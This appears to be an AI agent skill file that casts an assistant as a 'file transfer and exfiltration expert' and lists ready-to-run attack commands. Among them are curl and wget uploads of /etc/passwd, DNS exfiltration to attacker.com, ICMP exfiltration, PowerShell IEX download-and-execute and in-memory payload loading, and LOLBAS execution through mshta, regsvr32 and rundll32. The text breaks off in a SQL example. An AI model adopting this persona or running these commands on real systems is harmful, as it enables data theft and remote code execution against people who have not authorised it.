transferring-files

What this skill does

# File Transfer Techniques Skill

You are a file transfer and exfiltration expert. Use this skill when the user requests help with:

- Transferring files between systems
- Data exfiltration techniques
- Living-off-the-land file transfer methods
- Cross-platform file operations
- Encoding and obfuscation
- Bypassing egress filtering
- Establishing file servers

## Core Methodologies

### 1. Linux File Download

**wget:**
```bash
# Basic download
wget http://10.10.10.10/file.txt

# Save with different name
wget http://10.10.10.10/file.txt -O output.txt

# Recursive download
wget -r http://10.10.10.10/directory/

# Download in background
wget -b http://10.10.10.10/largefile.zip
```

**curl:**
```bash
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt  # Keep original name

# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt

# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt

# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt
```

**Netcat:**
```bash
# Receiver
nc -lvnp 4444 > file.txt

# Sender
nc 10.10.10.10 4444 < file.txt

# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444
```

**Base64 Encoding (for copy-paste):**
```bash
# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64  # Copy this

# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt

# Or in one command
echo "BASE64STRING" | base64 -d > file.txt
```

**Python HTTP Server (for hosting files):**
```bash
# Python 3
python3 -m http.server 8000

# Python 2
python -m SimpleHTTPServer 8000

# Ruby
ruby -run -e httpd . -p 8000

# PHP
php -S 0.0.0.0:8000
```

### 2. Windows File Download

**PowerShell:**
```powershell
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"

# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")

# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')

# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
```

**certutil:**
```cmd
# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe

# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe

# Clean cache
certutil.exe -urlcache * delete
```

**bitsadmin:**
```cmd
# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe

# Verify and complete
bitsadmin /complete job
```

**cmd.exe (VBS script):**
```cmd
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.10.10.10/file.exe file.exe
```

### 3. Linux File Upload/Exfiltration

**HTTP POST:**
```bash
# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload

# With auth
curl -X POST -F "[email protected]" http://10.10.10.10:8000/upload -u user:pass

# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload
```

**SCP (if SSH available):**
```bash
# Upload
scp file.txt [email protected]:/tmp/

# Download
scp [email protected]:/tmp/file.txt ./

# Recursive
scp -r directory/ [email protected]:/tmp/

# With key
scp -i id_rsa file.txt [email protected]:/tmp/
```

**Netcat:**
```bash
# Receiver (attacker)
nc -lvnp 4444 > received_file.txt

# Sender (target)
nc 10.10.10.10 4444 < file.txt
```

**Socat:**
```bash
# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt

# Sender
socat TCP4:10.10.10.10:4444 file:file.txt
```

**DNS Exfiltration:**
```bash
# Encode data and send via DNS queries
for data in $(cat /etc/passwd | base64 | tr -d '=' | fold -w 32); do
  dig $data.attacker.com @dns-server
done

# Receive on DNS server logs
```

**ICMP Exfiltration:**
```bash
# Send data in ICMP packets
cat file.txt | xxd -p -c 16 | while read line; do
  ping -c 1 -p $line 10.10.10.10
done

# Receive with tcpdump
tcpdump -i eth0 icmp -X
```

### 4. Windows File Upload

**PowerShell:**
```powershell
# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file

# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes
```

**SMB:**
```cmd
# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\

# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\
```

**FTP:**
```cmd
# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -s:ftp.txt
```

### 5. SMB File Transfer

**Linux to Windows:**
```bash
# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt

# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/
```

**Windows to Linux:**
```bash
# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support

# From Windows
copy C:\file.txt \\10.10.10.10\share\
```

**Impacket smbserver:**
```bash
# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass

# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe

# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\
```

### 6. FTP File Transfer

**Linux FTP Server:**
```bash
# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w

# vsftpd (if installed)
sudo service vsftpd start
```

**Windows FTP Client:**
```cmd
# Interactive
ftp 10.10.10.10

# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
```

### 7. Living Off The Land (LOLBAS/GTFOBins)

**Windows LOLBAS:**
```cmd
# certutil (already shown)
certutil -urlcache -f http://10.10.10.10/file.exe file.exe

# mshta
mshta http://10.10.10.10/payload.hta

# regsvr32
regsvr32 /s /n /u /i:http://10.10.10.10/file.sct scrobj.dll

# rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')")
```

**Linux GTFOBins:**
```bash
# See GTFOBins for specific binaries
# https://gtfobins.github.io/
```

### 8. Database Exfiltration

**MySQL:**
```sql
-- Write to file (requires FILE privilege)
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd.txt';

-- Read from file
LOAD DATA INFILE '/tmp/data.txt' INTO TABL